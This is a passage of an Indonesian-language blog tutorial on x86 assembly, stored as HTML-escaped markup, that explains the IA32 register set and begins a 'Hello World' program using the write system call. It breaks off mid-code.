border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;AH,AL,BH,BL,CH,CL,DH,DL&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Bagian 8 bit dari register 16 bit di atas . AH adalah 8 bit atas dari AX. AL adalah 8 bit bawah dari AX.&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Segment Register&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;CS, SS, DS, ES, FS, GS&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Digunakan untuk menunjuk 16 bit awal alamat memori. CS = Code, SS = Stack, DS = Data, ES,FS,GS = Extra segment register&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Offset Register&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Digunakan untuk menunjuk 16 bit akhir alamat memori. Alamat memori ditunjukkan dengan gabungan segment dan offset.&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;EBP&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Dipakai sebagai offset frame dalam stack. Biasanya menunjuk pada bottom of stack frame di suatu fungsi. ESP menunjukkan puncak stack, EBP menunjuk dasar stack.&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ESI&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Biasanya dipakai untuk offset string sumber dalam operasi yang melibatkan blok memori.&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;EDI&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Biasanya dipakai untuk offset string tujuan dalam operasi yang melibatkan blok memori.&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;ESP&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Stack pointer, menunjukkan puncak dari stack.&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Special&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;EFLAGS&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Tidak bisa dipakai programmer, hanya dipakai prosesor untuk hasil operasi logical dan state.&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;EIP&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Tidak bisa dipakai programmer, hanya dipakai prosesor untuk menunjukkan alamat memori yang berisi instruksi berikutnya yang akan dieksekusi.&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;Perhatikan gambar di bawah ini untuk melihat register-register yang ada dalam prosesor keluarga IA32 (Intel Architecture 32 bit).&lt;/div&gt;&lt;div class="wp-caption aligncenter" id="attachment_1592" style="background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(221, 221, 221); border-bottom-left-radius: 5px 5px; border-bottom-right-radius: 5px 5px; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: rgb(221, 221, 221); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(221, 221, 221); border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: rgb(221, 221, 221); border-top-left-radius: 5px 5px; border-top-right-radius: 5px 5px; border-top-style: solid; border-top-width: 1px; display: block; font-size: 13px; margin-bottom: 1em; margin-left: auto; margin-right: auto; margin-top: 10px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: center; vertical-align: baseline; width: 526px;"&gt;&lt;a href="http://www.ilmuhacking.com/wp-content/uploads/2009/10/intel-32bit-register.jpg" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #005299; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none; vertical-align: baseline;"&gt;&lt;img alt="http://www.faculty.iu-bremen.de/birk/lectures/PC101-2003/01x86/80x86%20Architecture/registers.htm" class="size-full wp-image-1592" height="324" src="http://www.ilmuhacking.com/wp-content/uploads/2009/10/intel-32bit-register.jpg" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-style: none; border-bottom-width: 0px; border-color: initial; border-color: initial; border-color: initial; border-left-style: none; border-left-width: 0px; border-right-style: none; border-right-width: 0px; border-style: initial; border-top-style: none; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 5px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;" title="intel-32bit-register" width="516" /&gt;&lt;/a&gt;&lt;div class="wp-caption-text" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 11px; line-height: 16px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 2px; padding-left: 3px; padding-right: 3px; padding-top: 6px; text-align: center; vertical-align: baseline;"&gt;courtesy of iu-bremen.de&lt;/div&gt;&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;Dalam gambar di ats terlihat bahwa register-register Extended (berawalan E) adalah register 32 bit. Agar kompatibel program-program sebelumnya ketika register hanya ada 16 bit, maka register yang lain adalah bagian bit bawah dari versi extendednya. Contohnya adalah register ESI dan SI. Register SI adalah 16 bit paling bawah dari ESI. Pada register EAX, AX adalah 16 bit paling bawah dari EAX. Register AX pun dipecah lagi menjadi 8 bit atas AH dan 8 bit bawah AL. Programmer bebas menggunakan yang mana saja sesuai kebutuhannya.&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;The Classic “Hello World”&lt;/strong&gt;&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;Cukup sudah berteori, kini kita mulai berbasah-basah. Mari kita buat program pertama dalam assembly yang menampilkan teks “Hello World”. Dalam artikel ini saya menggunakan format syntax Intel, bukan AT&amp;amp;T. Silakan ketik source berikut dan simpan dalam nama hello.asm&lt;/div&gt;&lt;div class="wp_syntax" style="background-attachment: initial; background-clip: initial; background-color: #f9f9f9; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: silver; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-left-color: silver; border-left-style: solid; border-left-width: 1px; border-right-color: silver; border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: silver; border-top-style: solid; border-top-width: 1px; color: #110000; font-size: 13px; margin-bottom: 1.5em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: auto; overflow-y: hidden; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; width: 579px;"&gt;&lt;div class="code" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 2px; padding-left: 4px; padding-right: 4px; padding-top: 2px; vertical-align: top;"&gt;&lt;pre class="asm" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: none; float: none; font-family: monospace; font-size: 12px; line-height: 1.333; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: visible; overflow-y: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline; white-space: pre; width: auto;"&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; section text khusus buat code&lt;/span&gt;&lt;br /&gt;section &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;.&lt;/span&gt;text &lt;br /&gt;&amp;nbsp;&lt;br /&gt;global _start&lt;br /&gt;&amp;nbsp;&lt;br /&gt;_start&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #339933; font-size: 12px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #666666; font-size: 12px; font-style: italic; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;; systemcall =&amp;amp;gt; write(1,msg,len)&lt;/span&gt;&lt;br /&gt;&lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; font-size: 12px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;mov&lt;/span&gt; &lt;span style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #00007f; 